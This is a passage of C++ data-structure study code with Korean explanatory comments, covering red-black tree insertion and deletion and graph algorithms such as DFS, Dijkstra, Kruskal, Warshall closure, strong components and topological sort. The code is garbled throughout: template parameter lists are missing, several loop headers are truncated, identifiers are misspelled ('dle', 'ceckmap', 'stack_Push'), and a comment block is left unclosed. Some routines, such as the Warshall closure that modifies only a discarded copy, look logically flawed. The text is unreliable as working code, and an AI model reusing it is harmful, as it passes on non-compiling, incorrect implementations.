  for(pi =0; pi Size() && (value > t->Key(pi) || value == t->Key(pi));pi++);
  t = t->Left(pi);
}
if(t == 0) return false;
if(t->Size() <= m_nDim/2 && p!=NodeHead) //외부노드인데 키수가 너무 적으면
  if(!_BorrowKey(p,pi)) t = _BindNode(p,pi);
t->DelValue(t->FindKey(value)); //노드키를 삭제
m_nCount--;
return true;
}

/*
Red-Black Tree의 특징
   - 2-3-4트리의 Balanced 특성을 Binary Tree 표현
    *2-3-4tree 3차 B-tree
Red-Black Tree의 특성
   -빨간노드와 검정노드 두가지가 있음
   -빨간노드는 검정노드와 결합되는 의미
   -Red-Edge, Black-Edge로 표현하기도 함
성질
   -부모노드는 왼쪽 서브트리보다 크고 오른쪽 서브트리보다 작다.
   -Root에서 Leaf로 가는 경로의 검정노드의 수는 모두 같다.
   -새로 삽입되는 노드는 Leaf에 위치하며 빨간노드이다.
   -경로상에 연이어 두개의 빨간노드가 있을 수 없다. (회전필요)
   -부모의 두 자식노드가 모두 빨간노드이면, 부모를 빨간노드로 하고
   자식은 검정노드로 바뀔 수 있따. (생상변환)
   -Root노드는 빨간 노드일 수 없다.(검정색으로 변환)
   -빨간노드는 자식이 없던가, 있있다면 두개의 검정노드여야 한다.
   검정노드는 자식이 없던가. 있다면 하나의 빨간노드나 두개의 빨간노드나 두개의 검정노드를 가진다.
    *즉 단 하나의 검정노드를 자식으로 가질 수 없다.

색변환(Color Flip)
-상향색변환 : B-Tree의 Split 동작
   *빨강을 위로 올림
-하향색변환 : B-Tree의 BindeNode 동작
   *빨강을 아래로 내림
회전은
-이진 트리의 규틱을 깨지 않고 트리를 재구성하는 방법
-우회전(RightRotation)과 좌회전 (Left Rotation)
-좌우의 트리높이를 맞추는 방향으로 회전함
   *AVL트리의 기본 Operation

*/
template class RBTreeMap
{
public:
RBTreeMap();
~RBTreeMap();
//Utilities
long GetCount() const { return m_nCount; }
bool IsEmpty() const { return m_nCount ==0; }
void RemoveAll();
void RemoveSubtree(Node* p);
//Operations
bool Find(const T& key, T& value) const;
bool Insert(const T& value);
bool Remove(const T& key);
protected:
struct Node {
  T data;
  Node *pLeft; Node *pRight;
  bool Red;
  Node() {pLeft = pRight = 0; Red = false; }
};
Node* _Rotate(const T& key, Node* pivot);
bool _IsLeafNode(const Node *p)const;
bool _Is2Node(const Node *p)const;
bool _DelLeafNode(const T& key, Node *delp, Node *del);
bool _RedAsParent(Node *delgp, Node *delp, Node *sib);
T _SwapKey(Node *del);
bool _BorrowKey(Node *delgp, Node *delp, Node *del, Node *sib);
void _BindNode(Node *delp);
void RemoveSubtree(Node *pNode);
Node *m_pNodeHead;
long m_nCount;
};
template
RBTreeMap::RBTreeMap()
{
m_pNodeHead = new Node;
m_pNodeHead->pRight = m_pNodeHead->pLeft =0;
}
template
RBTreeMap::~RBTreeMap()
{
RemoveAll();
if(m_pNodeHead)
  delete m_pNodeHead;
}
template void
RBTreeMap::RemoveAll()
{
ListStack stack;
Node *t;
stack.Push(m_pNodeHead->pLeft);
while(!stack.IsEmpty())
{
  t = stack.Pop();
  if(t){
   stack.Push(t->pRight);
   stack.Push(t->pLeft);
   delete t;
  }
}
m_pNodeHead->pLeft = 0;
m_nCount = 0;
}

template
bool RBTreeMap::Find(const T& key, T& value) const
{
Node *s;
s = m_pNodeHead->pLeft;
while (s && !(key == s->data))
{
  if(key >s->data) s = s->pRight;
  else s = s->pLeft;
}
if(s == 0) return false;
value = s->data;
return true;
}
/*
Red-Black 트리 삽입 알고리즘
-왼쪽서브트리 < 부모 < 오른쪽서브트리 규칙에 맞게 하향탐색
-하향 탐색을 하면서 Color Promotion한다.
   *만일 빨간노드가 연속될때는 (Double) Rotation을 한다.
     -Leaf에 도달하면 빨간노드로 자료를 삽입한다.
   *만일 빨간노드가 연속될때는 (Double) Rotation을 한다.

*/
template
RBTreeMap::Node* RBTreeMap::_Rotate(const T& key, Node* pivot)
{
Node *child, *gchild;
if((key>pivot->data || key == pivot->data) && pivot != m_pNodeHead)
  child = (Node*)pivot->pRight;
else
  child = (Node*)pivot->pLeft;
if(key > child->data || key == child->data) //Rotate Left
{
  gchild = (Node*)child->pRight;
  child->pRight = gchild->pLeft;
  gchild->pLeft = (Node*)child;
}
else // Rotate Right
{
  gchild = (Node*)child->pLeft;
  child->pLeft = gchild->pRight;
  gchild->pRight = (Node*)child;
}
if((key>pivot->data || key == pivot->data) && pivot != m_pNodeHead)
  pivot->pRight = gchild;
else
  pivot->pLeft = gchild;
return gchild;
}
template
bool RBTreeMap::Insert(const T& value)
{
Node *t,*p,*gp,*ggp;
ggp = gp = p = (Node*)m_pNodeHead;
t = (Node*)m_pNodeHead->pLeft;
while(t) {
  if(value == t->data) return false; //중복키 삽입금지
  if(t->pLeft && t->pRight &&
   t->pLeft->Red && t->pRight->Red) {
   // Color Promotion
   t->Red = true;
   t->pLeft->Red = t->pRight->Red = false;
   if(p->Red) { // 회전이 필요
    gp->Red = true;
    if((value>gp->data) !=(value>p->data))
     p = _Rotate(value,gp); // double-Rotation
    t = _Rotate(value,ggp);
    t->Red = false;
   }
   //뿌리는 검정으로
   m_pNodeHead->pLeft->Red = false;
  }
  ggp = gp; gp = p; p = t;
  if ( value > t->data) t = t->pRight;
  else t = t->pLeft;
}
t = new Node;
t->data = value;
t->pLeft = t->pRight = 0;
t->Red = true; //새로삽입되는 노드는 레드
if(value > p->data && p!= m_pNodeHead)
  p->pRight = t;
else
  p->pLeft = t;
m_nCount++;
if(p->Red) { //부모가 빨강이면 회전
  gp->Red = true;
  if((value>gp->data)!=(value > p->data))
   p = _Rotate(value,gp); //double rotation
  t = _Rotate(value, ggp);
  t->Red = false;
}
// root는 검정으로
m_pNodeHead->pLeft->Red = false;
return true;
}
/*
Red-Black 트리 삭제 알고리즘
-원칙1: Leaf 3-4노드의 삭제는 Trivial하다.
-원칙2: 3노드의 등가표현 중 하향탐색경로 쪽으로 빨간노드가 위치하도록 바꾼다.
   *Color Demotion의 편이를 위해
-원칙3: 삭제키를 찾는 하향탐색 중에 2노드를 3-4노드로 부풀려야 한다.(Color Demotion)
   *형제에게서 빌리기 vs 형제와 결합하기
-원칙4: 내부노드의 삭제는 In-Order Successor (Predecessor)와 바꿔치기 한 다음 Leaf 3-4노드의 삭제문제로 돌린다.

*/
template
bool RBTreeMap::_DelLeafNode(const T& key, Node *delp, Node *del)
{
if(key == del->data && !del->pLeft && !del->pRight) {
  //red leaf나 black leaf인 경우
  delete del;
  if((key > delp->data || key == delp->data)
   && delp->data != m_pNodeHead)
   delp->pRight = 0;
  else
   delp->pLeft = 0;
  return true;
}
else if (key == del->data) { //black node
  Node *ret;
  if(del->pLeft) {
   del->pLeft->pRight = del->pRight;
   ret = del->pLeft;
   ret->Red = false;
   delete del;
  } else if (del->pRight) { // Delete Right Child
   del->pRight->pLeft = del->pLeft;
   ret = del->pRight;
   ret->Red = false;
   delete del;
  }
  if((ret->data > delp->data || ret->data == delp->data)
   && delp != m_pNodeHead)
   delp->pRight = ret;
  else
   delp->pLeft = ret;
  return true;
}
else if ( del->pLeft && key == del->pLeft->data) {
  delete del->pLeft;
  del->pLeft = 0;
  return true;
}
else if ( del->pRight && key == del->pRight->data) {
  delete del->pRight;
  del->pRight = 0;
  return true;
} else {
  return false;
}
}
/*
삭제의 하향 탐색 경로로 빨간노드 옮기는 함수
Sibling 이 Red인경우
*/
template
bool RBTreeMap::_RedAsParent(Node *delgp, Node *delp, Node *sib)
{
if(sib == 0 || !sib->Red)
  return false;

_Rotate(sib->data,delgp);
sib->Red = false;
delp->Red = true;
return true;
}
/*
형제와 결합하기
sibling이 black node 이고 Sibling의 두자식도 black Node인 경우
Color Demotion에 의해 노드병합

*/
template
void RBTreeMap::_BindNode(Node *delp)
{
delp->Red = false;

delp->pLeft->Red = true;
delp->pRight->Red = true;
}
/*
형제에게 빌리기1(단일회전)
sibling이 Black Node 이고 Sibling의 자식의 하나이상 Red Node

*/
template
bool RBTreeMap::_BorrowKey(Node *delgp, Node *delp, Node* del, Node *sib)
{
Node *sibrc;
if(_Is2Node(sib)) return false;
if(del->data > sib->data) {
  if(sib->pLeft && sib->pLeft->Red) sibrc = sib->pLeft;
  else sibrc = sib->pRight;
} else {
  if(sib->pRight && sib->pRight->Red) sibrc = sib->pRight;
  else sibrc = sib->pLeft;
}
if((delp->data > sib->data) != (sib->data > sibrc->data)) {
  // double rotation
  _Rotate(sibrc->data,delp);
  _Rotate(sibrc->data,delgp);
  sib->Red = false;
  sibrc->Red = true;
} else {
  // single rotation
  _Rotate(sib->data,delgp);
  sib->Red = true;
  sibrc->Red = false;
}
del->Red = true;
delp->Red = false;
// Root가 빨강이면 검정으로 바꾼다.
if(m_pNodeHead->pLeft->Red)
  m_pNodeHead->pLeft->Red = false;
return true;
}
template
bool RBTreeMap::Remove(const T& key)
{
Node *delgp, *delp, *del, *sib;
T value = key;
delgp = delp = m_pNodeHead;
del = m_pNodeHead->pLeft;
sib = 0;
while (!_IsLeafNode(del)) {
  if(!del->Red) { // del이 Black이면 Rotation
   if(_RedAsParent(delgp,delp,sib)){
    // delgp 와 sib의 위치가 변했다. 새로수정
    delgp = sib;
    if(del->data > delp->data ||
     del->data == delp->data)
     sib = delp->pLeft;
    else
     sib = delp->pRight;
   }
   if(del!= m_pNodeHead->pLeft && _Is2Node(del)) {
    if(!_BorrowKey(delgp,delp,del,sib))_BindNode(delp);
   }
   if(value == del->data) value = _SwapKey(del);
   delgp = delp;
   delp = del;
   if(value > del->data || value == del->data) {
    sib = del->pLeft;
    del = del->pRight;
   } else {
    sib = del->pRight;
    del = del->pLeft;
   }
  }
}
if(!del->Red) {
  if(_RedAsParent(delgp,delp,sib)){
   delgp = sib;
   if(del->data > delp->data ||
    del->data == delp->data)
    sib = delp->pLeft;
   else
    sib = delp->pRight;
  }
}
if(del != m_pNodeHead->pLeft &&
  _Is2Node(del)){
  if(!_BorrowKey(delgp,delp,dle,sib))
   _BindNode(delp);
}
if(_DelLeafNode(value,delp,del)){
  m_nCount--;
  return true;
} else {
  return false;
}
}

/*
그래프 Graph
구현방법
   -인접행렬법(Adjacency Matrix)
   -인접리스트법(Adjacency List)
탐색방법
   -깊이우선탐색(Depth First Search)
   -너비우선탐색(Breadth First Search)

    정점(vertex),간선(Edge)의 집합
   -항공로: 공항과 노선
   -전자회로: Chip과 선로
   *위상(Topology)만 중요함
경로(Path)
   -단순경로(Simple Path): 중복이 없는 경로
회로(Cycle)
부분그래프(Subgraph)
신장나무(Spanning Tree) :회로가 없는 부분그래프(트리)
완전그래프(Complete Graph) :정점의 갯수가 V일때 간선의 갯수가 V(V-1)/2 인 그래프
밀집그래프(Dense Graph) : 간선이 많은
희소그래프(Sparse Graphy) : 간선이 적은
방향그래프(Directed Graph, Digraph)
무향그래프(Indirected graph)
가중그래프(Weighted Graph)
네트웍(Network) : 방향그래프 & 가중그래프
내차수(Indegree)
외차수(Outdegree)

*/
/*
인접행렬법 Adjacency Matrix

*/
typedef long EDGE;
template class ArrayGraph
{
public:
ArrayGraph(int nSize = 100);
~ArrayGraph();
// utilities
bool AddEdge(const V& v1, const V& v2, EDGE w);
bool AddEdgeDir(const V& v1, const V& v2, EDGE w);
EDGE GetEdge(const V& v1, const V& v2);
bool SetEdge(const V& v1, const V& v2, EDGE w);
// virtual function
virtual void Visit(const V& v) {}
virtual void VisitEdge(const V& v1, const V& v2) {}
//operations
void DFS();
void DFS_nr();
void BFS();
long CountComponents();
void FindAP(SingleList& aplist);
void ShortestPath_Dijkstra(const V& start);
protected:
long _FindVertex(const V& v);
long _AddVertex(const V& v);
EDGE _GetEdgeByIndex(long i, long j);
bool _SetEdgeByIndex(long i, long j, EDGE w);
void _DFS(long i, RBTreeMap& checkmap);
V* m_pVertices;
long* m_pEdges;
long m_nSize;
long m_nCount;
};
template
ArrayGraph::ArrayGraph(int nSize)
{
m_pVertices = new V[nSize];
m_pEdges = new long[nSize*nSize];
memset(m_pEdges,0,nSize*nSize*sizeof(EDGE));
m_nSize = nSize;
m_nCount = 0;
}
template
ArrayGraph::~ArrayGraph()
{
delete[] m_pVertices;
delete[] m_pEdges;
}
template long
ArrayGraph::_FindVertex(const V& v)
{
for(int i =0; i < m_nCount; i++) {
if(m_pVertices[i] == v) return i;
}
return -1;
}
template long
ArrayGraph::_AddVertex(const V& v)
{
if(m_nCount >= m_nSize) return -1;
m_pVertices[m_nCount] =v;
return m_nCount++;
}
template EDGE
ArrayGraph::_GetEdgeByIndex(long i, long j)
{
return m_pEdges[i*m_nSize+j];
}
template bool
ArrayGraph::_SetEdgeByIndex(long i, long j,EDGE w)
{
if( i < 0 || i >= m_nCount || j < 0 || j>= m_nCount )
return false;
m_pEdges[i*m_nSize +j] = w;
return true;
}
template bool
ArrayGraph::AddEdge(const V& v1, const V& v2, EDGE w)
{
long iv1, iv2;
iv1 = _FindVertex(v1);
if(iv1 <0) iv1 = _AddVertex(v1);
if(iv1 <0) return false;

iv2 = _FindVertex(v2);
if(iv2 <0) iv2 = _AddVertex(v2);
if(iv2 <0) return false;

_SetEdgeByIndex(iv1,iv2,w);
_SetEdgeByIndex(iv2,iv1,w);

return true;
}
template bool
ArrayGraph::AddEdgeDir(const V& v1, const V& v2, EDGE w)
{
long iv1, iv2;
iv1 = _FindVertex(v1);
if(iv1 <0) iv1 = _AddVertex(v1);
if(iv1 <0) return false;

iv2 = _FindVertex(v2);
if(iv2 <0) iv2 = _AddVertex(v2);
if(iv2 <0) return false;

_SetEdgeByIndex(iv1,iv2,w);

return true;
}
template void
ArrayGraph::DFS()
{
RBTreeMap checkmap;
V v;
for(int i =0; i if(!checkmap.Find(m_pVertices[i], v)) _DFS(i,checkmap);

}
template void
ArrayGraph::_DFS(long i, RBTreeMap& checkmap)
{
long j;
V v;
checkmap.Insert(m_pVertices[i]); // 방문 표시
Visit(m_pVertices[i]); // 방문
for ( j =0; j< m_nCount; j++) {
  if(_GetEdgeByIndex(i,j) != 0 && !checkmap.Find(m_pVertices[j],v))
   _DFS(j,checkmap);
}
}
template void
ArrayGraph::DFS_nr()
{
long i, j;
ListStack stack;
RBTreeMap checkmap;
V v;
for(i = 0; i < m_nCount; i++) {
  if(!checkmap.Find(m_pVertices[i], v)) {
   stack.Push(i);
   checkmap.Insert(m_pVertices[i]);
   while(!stack.IsEmpty()) {
    i = stack.Pop();
    Visit(m_pVertices[i]);
    for(j = 0; j < m_nCount; j++) {
     if(_GetEdgeByIndex(i, j) != 0 && !checkmap.Find(m_pVertices[j], v)) {
      stack.Push(j);
      ceckmap.Insert(m_pVertices[j]);
     }
    }
   }
  }
}
}

/*
Dijkstra Algorithm

*/
template
void ArrayGraph::ShortestPath_Dijkstra(const V& start)
{
int i;
int count = 0;
int x, y;
int s = _FindVertex(start);
bool *visited = new bool[m_nCount];
EDGE *distance = new EDGE[m_nCount];
int *parent = new int[m_nCount];
for (i = 0; i < m_nCount; i++)
{
  visited[i] = false;
  distance[i] = _GetEdgeByIndex(s,i);
  if (i != s)
   parent[i] = s;
  else
   parent[i] = -1;
}
visited[s] = true;
count ++;
while (count < m_nCount)
{
  x = 0;
  while (visited[x]) x++;
  for (i = x; i < m_nCount; i++)
   if (!visited[i] && distance[i] > 0 && distance[i] < distance[x])
    x = i;
  visited[x] = true;
  count ++;
  for (y = 0; y < m_nCount; y++)
  {
   if (x == y || _GetEdgeByIndex(x, y) == 0 || visited[y]) continue;
   // y는 방문하지 않은 (x,y)간선이 존재하는 정점
   EDGE d = distance[x] + _GetEdgeByIndex(x, y);
   if (distance[y] == 0 || d < distance[y]) {
    distance[y] = d;
    parent[y] = x;
   }
  }
}
// visit edge
for (i = 0; i < m_nCount; i++)
  if (parent[i] >= 0) VisitEdge(m_pVertices[parent[i]], m_pVertices[i]);
delete[] visited;
delete[] distance;
delete[] parent;
}
class ACharGraph : public ArrayGraph
{
public:
ACharGraph(int nSize=100) : ArrayGraph(nSize){}
void Visit(const char& v) { printf("%c",v); }
void VisitEdge(const char& v1, const char& v2) { printf("%c-->%c\n",v1,v2); }
};

/*
인접리스트법 Adjacency List

*/
template class ListGraph
{
public:
ListGraph(const ListGraph* g);
ListGraph(int nSize = 100);
~ListGraph();
//utilities
bool AddEdge(const V& v1, const V& v2, EDGE w);
bool AddEdgeDir(const V& v1, const V& v2, EDGE w);
EDGE GetEdge(const V& v1, const V& v2);
bool SetEdge(const V& v1, const V& v2, EDGE w);
// virtual function
virtual void Visit(const V& v) {}
virtual void VisitEdge(const V& v1, const V& v2) {}
//operations
void DFS();
void DFS_nr();
void BFS();
long CountComponents();
void FindAP(SingleList& aplist);
EDGE MCST_Pfs();
EDGE MCST_Kruskal();
void ShortestPath_Pfs(const V& start);
void Reach_Dfs(const V& start);
bool IsReachable(const V& strat, const V& end);
void TransitiveClosure_Warshall();
void StrongConnect();
void TopologicalSort();
void RevTopologicalSort();
void CriticalActivity();
protected:
struct Adj {
  V vertex;
  EDGE weight;
  bool operator==(const Adj& n) const
  {
   return vertex == n.vertex;
  }
  Adj(const V& v, EDGE w =1)
  {
   vertex = v; weight = w;
  }
  Adj() {}
};
struct Item {
  V vertex;
  DoubleList list;
};
long _FindVertex(const V& v);
long _AddVertex(const V& v);
void _DFS(long i, RBTreeMap& checkmap);
int _StrongConnect(long i, long order, long* porder, ListStack& stack);
void _CriticalActivity_backward(int *latest, int initial);
void _CriticalActivity_forward(int *earliest);
Item *m_pVertices;
long m_nSize;
long m_nCount;
};
template
ListGraph::ListGraph(const ListGraph* g)
{
m_pVertices = new Item[g->m_nSize];
m_nSize = g->m_nSize;
m_nCount = g->m_nCount;
for(int i = 0; i < g->m_nCount; i++)
{
  m_pVertices[i].vertex = g->m_pVertices[i].vertex;
  POS pos = g->m_pVertices[i].list.GetHeadPos();
  Adj adj;
  while (g->m_pVertices[i].list.GetNext(pos,adj))
  {
   m_pVertices[i].list.InsertTail(adj);
  }

}
}
template
ListGraph::ListGraph(int nSize)
{
m_pVertices = new Item[nSize];
m_nSize = nSize;
m_nCount = 0;
}
template
ListGraph::~ListGraph()
{
delete[] m_pVertices;
}
template long
ListGraph::_FindVertex(const V& v)
{
for (long i = 0; i < m_nCount; i++)
{
  if(m_pVertices[i].vertex == v)
   return i;
}
return -1;
}
template long
ListGraph::_AddVertex(const V& v)
{
if(m_nCount >= m_nSize)
  return -1;
m_pVertices[m_nCount].vertex = v;
return m_nCount++;
}
template bool
ListGraph::AddEdge(const V& v1, const V& v2, EDGE w)
{
long iv1, iv2;
iv1 = _FindVertex(v1);
if(iv1 <0) iv1 = _AddVertex(v1);
if(iv1 <0) return false;

iv2 = _FindVertex(v2);
if(iv2 <0) iv2 = _AddVertex(v2);
if(iv2 <0) return false;

m_pVertices[iv1].list.InsertHead(Adj(v2,w));
m_pVertices[iv2].list.InsertHead(Adj(v1,w));

return true;
}
template bool
ListGraph::AddEdgeDir(const V& v1, const V& v2, EDGE w)
{
long iv1, iv2;
iv1 = _FindVertex(v1);
if(iv1 <0) iv1 = _AddVertex(v1);
if(iv1 <0) return false;

iv2 = _FindVertex(v2);
if(iv2 <0) iv2 = _AddVertex(v2);
if(iv2 <0) return false;

m_pVertices[iv1].list.InsertHead(Adj(v2,w));
// m_pVertices[iv2].list.InsertHead(Adj(v1,w));

return true;
}
/*
깊이우선탐색(DFS)
정점 v의 방문하지 않은 인접 정점에 대해 재귀적으로 방문하기
재귀호출은 Stack을 이용해서 비재귀호출로 바꿀 수 있음
*/
template void
ListGraph::DFS()
{
RBTreeMap checkmap;
V v;
for(long i=0; i < m_nCount; i++)
  if(!checkmap.Find(m_pVertices[i].vertex,v)) _DFS(i,checkmap);
}
template void
ListGraph::_DFS(long i, RBTreeMap& checkmap)
{
V v;
checkmap.Insert(m_pVertices[i].vertex);
Visit(m_pVertices[i].vertex);
POS pos = m_pVertices[i].list.GetHeadPos();
Adj adj;
while(m_pVertices[i].list.GetNext(pos,adj))
{
  if(!checkmap.Find(adj.vertex,v)) {
   _DFS(_FindVertex(adj.vertex),checkmap);
  }
}
}
template void
ListGraph::DFS_nr()
{
RBTreeMap checkmap;
ListStack stack;
V v;
for(long i=0; i {
  if(!checkmap.Find(m_pVertices[i].vertex,v))
  {
   stack.Push(i);
   checkmap.Insert(m_pVertices[i].vertex);
   while(!stack.IsEmpty()) {
    i = stack.Pop();
    POS pos = m_pVertices[i].list.GetHeadPos();
    Visit(m_pVertices[i].vertex);
    Adj adj;
    while(m_pVertices[i].list.GetNext(pos,adj))
    {
     if(!checkmap.Find(adj.vertex,v))
     {
      stack.Push(_FindVertex(adj.vertex));
      checkmap.Insert(adj.vertex);
     }
    }
   }
  }
}
}
template
long ListGraph::CountComponents()
{
RBTreeMap checkmap;
ListStack stack;
long count=0;
V v;
for(long i=0; i {
  if(!checkmap.Find(m_pVertices[i].vertex,v))
  {
   count ++;
   stack.Push(i);
   checkmap.Insert(m_pVertices[i].vertex);
   while(!stack.IsEmpty()) {
    i = stack.Pop();
    POS pos = m_pVertices[i].list.GetHeadPos();
    Adj adj;
    while(m_pVertices[i].list.GetNext(pos,adj))
    {
     if(!checkmap.Find(adj.vertex,v))
     {
      stack.Push(_FindVertex(adj.vertex));
      checkmap.Insert(adj.vertex);
     }
    }
   }
  }
}
return count;
}

template EDGE
ListGraph::MCST_Pfs()
{
long i, j;
EdgeHeap pq;
EdgeHeap::Pair p;
EDGE sum = 0;
bool *visited = new bool[m_nCount];
for(i = 0; i < m_nCount; i++) visited[i] = false;

for(i = 0; i < m_nCount; i++)
{
  if(!visited[i])
  {
   pq.Insert(m_pVertices[i].vertex, m_pVertices[i].vertex, 0);
   visited[i] = true;
   while (!pq.IsEmpty())
   {
    p = pq.Extract();
    if(p.v1 != p.v2)
    {
     VisitEdge(p.v1, p.v2);
     sum += -p.w;
    }
    j = _FindVertex(p.v2);
    POS pos = m_pVertices[j].list.GetHeadPos();
    Adj adj;
    while(m_pVertices[j].list.GetNext(pos,adj))
    {
     int k = _FindVertex(adj.vertex);
     if(!visited[k])
     { //방문하지 않은 정점들에 대해서
      pq.Insert(m_pVertices[j].vertex, adj.vertex, -adj.weight);
      visited[k] = true;
     } else { // 방문한 정점들에 대해서.
      pq.Update(m_pVertices[j].vertex, adj.vertex, -adj.weight);
     }
    }
   }
  }
}
delete[] visited;
return sum;
}
/*
최소비용신장트리 (Minimum Cost Spanning Tree)
-유일한 해답이 있는게 아님
-알려진 알고리즘들
   *우선순위탐색, Kruskal, Sollin, Prim ...
-응용예
   *최소의 비용으로 모든 정점을 연결하는 방법
   *최소의 비용으로 컴퓨터 네트웍 구성
   *최소의 비용으로 모든 도시를 연결하는 항공로 구성

우선순위탐색 Priority First Search
-우선순위를 기준으로 탐색하는 방법
-DFS vs BFS vs PFS

*/
template
EDGE ListGraph::MCST_Kruskal()
{
EdgeHeap pq;
Set set;
int i;
EDGE sum = 0;
int nEdge = 0;
//insert all edges to heap
for (i = 0; i < m_nCount; i++) {
  POS pos = m_pVertices[i].list.GetHeadPos();
  Adj adj;
  while(m_pVertices[i].list.GetNext(pos,adj))
  {
   if(_FindVertex(adj.vertex) > i) //간선의 중복을 피하기 위해
    pq.Insert(m_pVertices[i].vertex, adj.vertex, -adj.weight);
  }
}
while (!pq.IsEmpty() && nEdge < m_nCount -1)
{
  // MCST의 간선수는 정점수 -1
  EdgeHeap::Pair p = pq.Extract();
  int i1 = set.Find(p.v1);
  if (i1 < 0) i1 = set.AddSet(p.v1);
  int i2 = set.Find(p.v2);
  if (i2 < 0) i2 = set.AddSet(p.v2);
  if (i1 >= 0 && i2 >= 0 && i1 != i2) //회로가 아니면
  {
   VisitEdge(p.v1,p.v2);
   nEdge++;
   sum += -p.w;
   set.UnionByIndex(i1,i2);
  }
}
return sum;
}

/*
최단경로찾기 문제
-시작정점으로 부터 다른 정점에 이르는 최소비용의 간선집합을 찾아라!
-최단경로트리가 얻어짐
A* 이라는 알고리즘이 실전에서 쓰임
(위치 가중치를 주어 거대한 그래프에서 사용)
*/
template
void ListGraph::ShortestPath_Pfs(const V& start)
{
long i, j;
EdgeHeap pq;
EdgeHeap::Pair p;
bool *visited = new bool[m_nCount];
for (i = 0; i < m_nCount; i++) visited[i] = false;
i = _FindVertex(start);
if (i < 0) return;
pq.Insert(m_pVertices[i].vertex, m_pVertices[i].vertex, 0);
visited[i] = true;
while (!pq.IsEmpty())
{
  p = pq.Extract();
  if (p.v1 != p.v2)
   VisitEdge(p.v1,p.v2);
  j = _FindVertex(p.v2);
  Adj adj;
  POS pos = m_pVertices[j].list.GetHeadPos();
  while (m_pVertices[j].list.GetNext(pos,adj))
  {
   int k = _FindVertex(adj.vertex);
   if (!visited[k]) {//방문하지 않은 정점들에 대해서
    pq.Insert(m_pVertices[j].vertex, adj.vertex, p.w - adj.weight);
    visited[k] = true;
   } else { // 방문하지 않은 정점들에 대해서
    pq.Update(m_pVertices[j].vertex, adj.vertex, p.w - adj.weight);
   }
  }

}
}

/*
Dijkstra 알고리즘
-시작점을 제외한 다른 정점이 모두 시작점을 가리킨다고 가정
-연결되어 있지 않은 정점은 무한대의 비용임
-A-C간선의 비용이 A-B,B-C간선 비용보다 크다면
C는 B를 가리키도록 한다.

/*
도달 가능성 문제 Reachability
*/
template
void ListGraph::Reach_Dfs(const V& start)
{
long i, j;
ListStack stack;
bool *visited = new bool[m_nCount];
for (i = 0; i < m_nCount; i++)
  visited[i] = false;
i = _FindVertex(start);
if (i < 0) return;
stack_Push(i);
visited[i] = true;
while (!stack.IsEmpty())
{
  j = stack.Pop();
  Visit(m_pVertices[j].vertex);
  POS pos = m_pVertices[j].list.GetHeadPos();
  Adj adj;
  while (m_pVertices[j].list.GetNext(pos,adj))
  {
   int k = _FindVertex(adj.vertex);
   if (!visited[k])
   {
    stack.Push(k);
    visited[k] = true;
   }
  }
}
delete[] visited;
}

/*
Transitive Closure 이행적 폐쇄
Warshall알고리즘
   A->B와 B->를 만족하는 경로가 있으면 A->C로 가는 경로도 존재한다.
   자기자신으로 가는 경로는 있다고 가정. 즉 A->A
   Warshall(Graph g)
   {
  for (x = all vertices) {
   for (y = all vertices) {
    if (x->y is reachable) {
     for (z = all vertices) {
      if (y->z is reachable)
       x->z is reachable;
      }
     }
    }
   }
  }
   }
*/
template
void ListGraph::TransitiveClosure_Warshall()
{
//graph 복사
ListGraph g(this);
int x, y, z;
Adj adj1, adj2, adj3;

for (x = 0; x < g.m_nCount; x++) {
  for (y = 0; y < g.m_nCount; y++) {
   Adj adj;
   if(g.m_pVertices[x].list.Find(g.m_pVertices[y].vertex,adj1))
   {
    for (z = 0; z < g.m_nCount; z++) {
     if(g.m_pVertices[y].list.Find(g.m_pVertices[z].vertex,adj2))
     {
      //x->z is reachable
     // if(
     // m_pVertices[x].list.InsertHead(Adj(z,w1+w2));
      if(g.m_pVertices[x].list.Find(g.m_pVertices[z].vertex,adj3))
      {
       if (adj3.weight > adj1.weight + adj2.weight)
        adj3.weight = adj1.weight + adj2.weight;
      }
      else
      {
       g.m_pVertices[x].list.InsertHead(Adj(g.m_pVertices[z].vertex,adj1.weight+adj2.weight));
      }
     }
    }
   }
  }
}

for (x = 0; x < g.m_nCount; x++)
g.m_pVertices[x].list.InsertHead(Adj(m_pVertices[x].vertex,1));

}

/*
강한결합요소
-정점 A에서 B로 가는 방향성 경로도 존재하고, B에서 A로가는 장향성경로도 존재
-강한결합요소는 정점하나를 제거해도 연결은 유지된다.
VS 이중연결(Biconnectivity)
강한결합요소 찾기

*/
template
void ListGraph::StrongConnect()
{
int i;
ListStack stack;
long *porder = new long[m_nCount];
for (i = 0; i < m_nCount; i++) porder[i] = 0;
for (i = 0; i < m_nCount; i++)
  if (porder[i] == 0)
   _StrongConnect(i, 0, porder, stack);
delete[] porder;
}
/*
FindAP와 유사한 구조
*/
template
int ListGraph::_StrongConnect(long i, long order, long* porder, ListStack& stack)
{
int m, min, k;
bool cycle;
porder[i] = min = ++order;
stack.Push(i);
POS pos = m_pVertices[i].list.GetHeadPos();
Adj adj;
m_pVertices[i].list.GetAt(pos,adj);
while (!m_pVertices[i].list.IsTail(pos))
{
  k = _FindVertex(adj.vertex);
  if (porder[k] == 0) //방문하지 않은 정점이면
   m = _StrongConnect(k, order, porder, stack);
  else
   m = porder[k];
  if (m < min) min = m;
  m_pVertices[i].list.GetNext(pos,adj);
}
if (min == porder[i]) //자기자신을 가리키면
{
  cycle = false;
  while ((k = stack.Pop()) != i) {
   Visit(m_pVertices[k].vertex);
   porder[k] = m_nCount + 1; //다시는 출력되지 않도록 체크
   cycle = true;
  }
  if (cycle) Visit(m_pVertices[k].vertex);
  //여기까지가 한묶음. 정점 하나만 출력되는 걸 막음
}
return min;
}

/*
비순환방향그래프 Directed Acyclic Graph

   여러 공정으로 이루어지는 작업을 모델링하는데 주로 사용함
   ( 집짓기 )
   AOV Network ( Activity On Vertex Network )
   공정모델링은 건축/토목분야에 많이 연구됩

*/
/*
위상정렬 개념

   위상정렬 ( Topological Sort )
    -DAG 정점의 일련순서를 구하는 것
    -ex) 집짓기를 혼자 한다면 어떤 순서로 일해야 하나?
    In-Degree 가 0인 지점부터 시작
   역위상정렬 ( Reverse Topological Sort )
    Out-Degree 가 0인 지점부터 시작

*/
template
void ListGraph::TopologicalSort()
{
int i;
ListQueue queue;
// indegree 배열, 설정
int *indegree = new int[m_nCount];
for (i = 0; i < m_nCount; i++) indegree[i] = 0;
for (i = 0; i < m_nCount; i++)
{
  Adj adj;
  POS pos = m_pVertices[i].list.GetHeadPos();
  m_pVertices[i].list.GetAt(pos,adj);
  while (!m_pVertices[i].list.IsTail(pos))
  {
   int k = _FindVertex(adj.vertex);
   indegree[k] ++;
   m_pVertices[i].list.GetNext(pos,adj);
  }
}
